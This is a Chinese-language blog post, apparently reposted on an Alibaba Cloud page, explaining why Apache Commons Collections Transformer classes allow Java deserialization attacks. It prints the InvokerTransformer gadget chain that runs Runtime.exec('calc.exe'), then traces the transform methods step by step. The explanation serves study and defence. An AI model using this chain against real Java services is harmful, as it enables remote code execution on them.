java還原序列化 - Transformer類可以執行惡意代碼的原理

來源:互聯網
上載者:User

標籤:stack   一個   ffffff   object   http   vpd   return   UNC   form   

java還原序列化 - Transformer類可以執行惡意代碼的原理0x00 代碼
Transformer[] transformers = new Transformer[]{                  new ConstantTransformer(Runtime.class),                  new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),                  new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),                  new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),          };          Transformer transformerChain = new ChainedTransformer(transformers);          ByteArrayOutputStream out = new ByteArrayOutputStream();          ObjectOutputStream objOut;        try {            objOut = new ObjectOutputStream(out);            objOut.writeObject(transformerChain);            transformerChain.transform(null);        } catch (IOException e) {            // TODO Auto-generated catch block            e.printStackTrace();        }

執行結果:

0x01 Transformer類為什麼可以執行惡意代碼?

transformerChain.transform(null); 執行的是:ChainedTransformer類的transform方法

    public Object transform(Object object) {        for (int i = 0; i < iTransformers.length; i++) {            object = iTransformers[i].transform(object);        }        return object;    }

object = iTransformers[i].transform(object); 執行的是InvokerTransformer類的transform方法

 public Object transform(Object input) {        if (input == null) {            return null;        }        try {            Class cls = input.getClass();            Method method = cls.getMethod(iMethodName, iParamTypes);            return method.invoke(input, iArgs);        } catch (NoSuchMethodException ex) {            throw new FunctorException("InvokerTransformer: The method ‘" + iMethodName + "‘ on ‘" + input.getClass() + "‘ does not exist");        } catch (IllegalAccessException ex) {            throw new FunctorException("InvokerTransformer: The method ‘" + iMethodName + "‘ on ‘" + input.getClass() + "‘ cannot be accessed");        } catch (InvocationTargetException ex) {            throw new FunctorException("InvokerTransformer: The method ‘" + iMethodName + "‘ on ‘" + input.getClass() + "‘ threw an exception", ex);        }    }


通過反射機制調用runtime.class的getMethod方法,繼續調用invoke方法產生了一個runtime的對象,最後執行該對象的exec方法,因此造成了還原序列化漏洞。
可以參考:
http://blog.51cto.com/13770310/2159962 的0x03 補充

java還原序列化 - Transformer類可以執行惡意代碼的原理

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.